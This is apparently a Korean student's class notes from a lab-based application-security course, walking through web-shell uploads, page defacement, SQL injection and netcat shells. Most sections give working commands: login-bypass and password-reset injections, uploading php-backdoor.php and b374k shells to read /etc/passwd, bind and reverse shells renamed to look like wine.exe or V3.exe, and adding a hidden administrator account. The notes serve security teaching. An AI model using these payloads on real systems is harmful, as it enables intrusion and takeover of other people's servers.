SK shieldus Rookies 9기/애플리케이션 보안

애플리케이션 보안 수업 3일차 (22/09/06)

ksh_5 2022. 9. 6. 10:16
  • WebShell

 

- 관리자가 SSH, FTP 이용하지 않고 웹브라우저로 웹서버 관리하기 위한 도구 (GUI로 설정 가능)

- 공격자들이 WebShell > 서버로

 

 

  • 대응 방법

 

1) 업로드 막기

2) 업로드된 WebShell은 동작하지 못하게 압축하여 보관

3) 위치 경로 알려주지 않거나 파일 이름 바꾸기

4) 대응 보안 솔루션 배치

 

  • Content-Type은 text / plain이지만, Proxy 도구(Burp Suite)를 이용해 image / jpeg라고 속이기 → Client가 보내는 정보를 신뢰할 경우, 실제 들어있는 파일은 다른 WebShell

 

  • Base64 이용 시 비밀번호를 인코딩할 경우 → ISMS-P 인증 심사에서 안전하지 않다고 봐서 결함으로 판단

 

 

실습)

더보기

-  http://192.168.5.141/

-  http://192.168.5.141/uploadfile/browser.jsp

-  .. 클릭 시 상위 디렉터리로 이동

 

php 클릭

 

Deface 실습)

더보기

- 웹사이트의 첫 페이지를 바꾸는 공격

https://pixabay.com/    //  이미지 다운

jpg 파일 업로드 → index.jsp 파일의 edit 클릭 → <DIV style="position:absolute; left:200; top:90; Z-index:2;"> <img src="hack.jpg"></DIV> 삽입 후 save

 

새로고침 후 나오는 화면

 

SQL Injection 실습)

더보기

- id, pw 넣어 SELECT문 생성

 

1) pw 부분에 코드 넣기

 로그인 SELECT문 : select id, pw from where id='webmaster' and pw=' ' or 1=1 -- ';//' or 2>1 --    // ' or 'a'='a' -- 가능

 

※ 주석 사용하지않을 시, ' (작은 따옴표) 개수를 예상대로 맞춤 (짝수 주석 불필요)  //  ' or 'a'='a

pw로 로그인 시 뜨는 화면

1) id 부분에 코드 넣기

id=' ' or 1=1 --' 입력

id로 로그인 시 뜨는 화면

 

Q. 로그인 시 superman으로 로그인될까?

더보기

A. user table의 맨 위 있는 계정이 superman이라서 정확하게 지정되지 않을 경우 맨 위 레코드로 매칭 (DB속성)

 ※ 맨 위 레코드는 모니터링 계정으로 설정 (실제 권한X)

 

 

Q. 반드시 webmaster 계정으로 로그인하고 싶을 때

더보기

A. select id, pw from where id='webmaster' and 1=1 --' and pw='   '; // webmaster' -- 로 써도 가능 ( True and True는 불필요)

webmaster로 로그인된 화면

 

 

  • Blind SQL Injection

 

- DB 구조 등을 모르는 상태에서 sql injection하는 것

sql문이 거짓이 되도록 만들어 에러 메시지 발생 → DB 이름, 테이블 이름, 컬럼 이름 알아내기

A부터  Z까지, 0부터 1까지 대입 → 하나 다른 결과값

 

 

Argo Club homepage에 ID 넣는 부분에 이력 실습)

더보기

select id, pw from where id='' having 1=1 --' and pw='   '  (group by가 있어야 having 사용 가능)

select userid, paswwd from tbl_member where userid='

' and passwd='   '

 

Q. webmaster의 passwd를 1234로 변경

더보기

A. select userid, passwd from tbl_member where userid=''; update tbl_member set passwd='1234'  where userid='webmaster'; --' and passwd=' --

 

WebShell 실습) 

더보기

- 실시간 감시 끄고 가능

http://192.168.5.141/uploadfile/browser.jsp 에서 php 다운로드

1)  이미지 업로드

dvwa file upload 클릭 → 이미지 업로드 → hackable/uploads/chihuahua-gc869286f6_640.jpg를 dvwa ip 뒤에 붙여넣기

 

2) php-backdoor.php 파일 업로드 & WebShell 실행

 

pwd, cat /etc/passwd, ls -l 등 삽입

3) b374k-2.8.php 파일 업로드

dvwa file upload 클릭 → 이미지 업로드 → /hackable/uploads/b374k-2.8.php를 dvwa ip 뒤에 붙여넣기

 

pwd, cat /etc/passwd, ls -l 등 삽입

3-1) Medium으로 변경 후 업로드

 

※ 업로드는 WebShell 말고 다른 것도 가능 (백도어, Reverse)

   직접 실행 파일을 업로드 : 세션 직접 연결 → 원격 조종으로 시스템 영향

 

- 대표적인 도구 :  RAT (Remote Access Trojan) → Victim에 몰래 업로드 후 원격 연결

  ex) Netcat : nc.exe(윈도우용), nc(리눅스용)

 

 

1) 백도어 방식

    : 공격자가 공격 대상과 연결

더보기

- Windows 2003 : Victim (Server)

cmd > nc -l  -p 8000 -e  cmd.exe

             Server : 8000 포트( -p ) 열고 대기 ( -l )

             Victim : -e, cmd.exe 권한 넘기기

cmd > cd \

cmd > wine -l -p 8000 -e cmd.exe                     //    nc.exe 이름을 wine으로 변경해둠

 

 

- Ubuntu : Attacker (Client)

$ cd /

$ nc 192.168.5.141 8000 (8000은 포트번호)

 

C:\ > whoami                                                          // 권한 확인

C:\ net user astro candysugarpop /add                  // 계정명 'astro' , pw 'candysugarpop

C:\ net localgroup administrators astro /add           // 관리자 그룹(administrators)에 astro 추가

 

- Windows 2003에서 사용자 생성 및 관리자 그룹 확인

컴퓨터 관리 > 로컬 사용자 및 그룹 > 사용자         // 계정 명인 'astro' 확인 가능

 

 

컴퓨터 관리 > 로컬 사용자 및 그룹 > 그룹             // 그룹에 'astro' 확인 가능

 

 

2) Reverse Connection

   : 공격 대상이 공격자 쪽으로 접근하는 방식 (방화벽 우회 가능성 있음)

더보기

- Ubuntu : Attacker(Server)

 $ nc -l -p 5678

 

- Windows 2003 : Victim (Clietnt)

cmd > wine 192.168.5.128 5678 -e cmd.exe

 

- Ubuntu : Attacker(Server)

$ nc -l -p 8000          //     -l : 준비 , -p : 포트

http://192.168.5.141/uploadfile/cmdjsp.jsp

C:\ wine.exe 192.168.5.128 8000 -e cmd.exe            //     windows shell에서 확인 가능

(webshell 창에서 whoami, ipconfig, dir 등 윈도우 커맨드 명령어 실행 가능)

 

 

명령어 : cd \ > cd docu* > cd adm* > cd my* > dir

 

 

c:\ V3.exe 192.168.5.128 8000 -e cmd.exe